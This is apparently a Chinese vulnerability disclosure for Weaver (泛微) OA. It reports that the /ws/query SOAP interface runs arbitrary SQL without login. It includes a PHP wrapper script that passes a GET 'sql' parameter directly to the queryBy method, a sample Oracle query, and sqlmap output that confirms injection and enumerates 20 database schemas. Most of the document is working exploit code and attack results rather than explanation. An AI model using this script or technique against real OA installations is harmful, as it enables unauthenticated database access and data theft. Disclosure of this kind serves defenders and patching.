泛微OA某接口无需登录可执行任意SQL语句（附脚本）

http://localhost:8088/ws/query?wsdl

<faultstring>Unmarshalling Error: unexpected element (uri:"http://**.**.**.**/", local:"arg0"). Expected elements are &lt;{}arg1&gt;,&lt;{}arg0&gt; </faultstring>

select SYS_CONTEXT('USERENV','CURRENT_USER') from dual

<?php
 $arg0=$_GET['sql'];
 header("content-type:text/html;charset=utf-8");
 try {
 $client = new SoapClient('http://localhost:8088/ws/query?wsdl');
 $xml = "
 <SOAP-ENV:Envelope xmlns:SOAP-ENV='http://**.**.**.**/soap/envelope/' xmlns:soap='http://**.**.**.**/wsdl/soap/'  xmlns:xsd='http://**.**.**.**/1999/XMLSchema'  xmlns:xsi='http://**.**.**.**/1999/XMLSchema-instance'  xmlns:m0='http://**.**.**.**/'  xmlns:SOAP-ENC='http://**.**.**.**/soap/encoding/' xmlns:urn='http://**.**.**.**/'>
      <SOAP-ENV:Header/>
      <SOAP-ENV:Body>
         <urn:queryBy>
            <arg0>1</arg0>
            <arg1>1</arg1>
         </urn:queryBy>
      </SOAP-ENV:Body>
 </SOAP-ENV:Envelope>
 ";
 $result=$client->queryBy(array('arg0'=>$arg0,'arg1'=>'1'));
 echo $result->return ;//显示结果  
 } catch (SOAPFault $e) {
 print_r('Exception:'.$e);
 }
 ?>

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
 sts:
 ---
 Place: GET
 Parameter: sql
     Type: inline query
     Title: Oracle inline queries
     Payload: sql=(SELECT CHR(113)||CHR(115)||CHR(112)||CHR(99)||CHR(113)||(SELEC
 T (CASE WHEN (8499=8499) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(101)||CHR(
 112)||CHR(97)||CHR(113) FROM DUAL)
 ---
 [15:39:49] [INFO] the back-end DBMS is Oracle
 web server operating system: Windows
 web application technology: Apache 2.2.22, PHP 5.3.10
 back-end DBMS: Oracle

available databases [20]:
 [*] APEX_030200
 [*] APPQOSSYS
 [*] CTXSYS
 [*] DBSNMP
 [*] EWEAVER
 [*] EXFSYS
 [*] FLOWS_FILES
 [*] MDSYS
 [*] OLAPSYS
 [*] ORDDATA
 [*] ORDSYS
 [*] OUTLN
 [*] OWBSYS
 [*] PM
 [*] SCOTT
 [*] SYS
 [*] SYSMAN
 [*] SYSTEM
 [*] WMSYS
 [*] XDB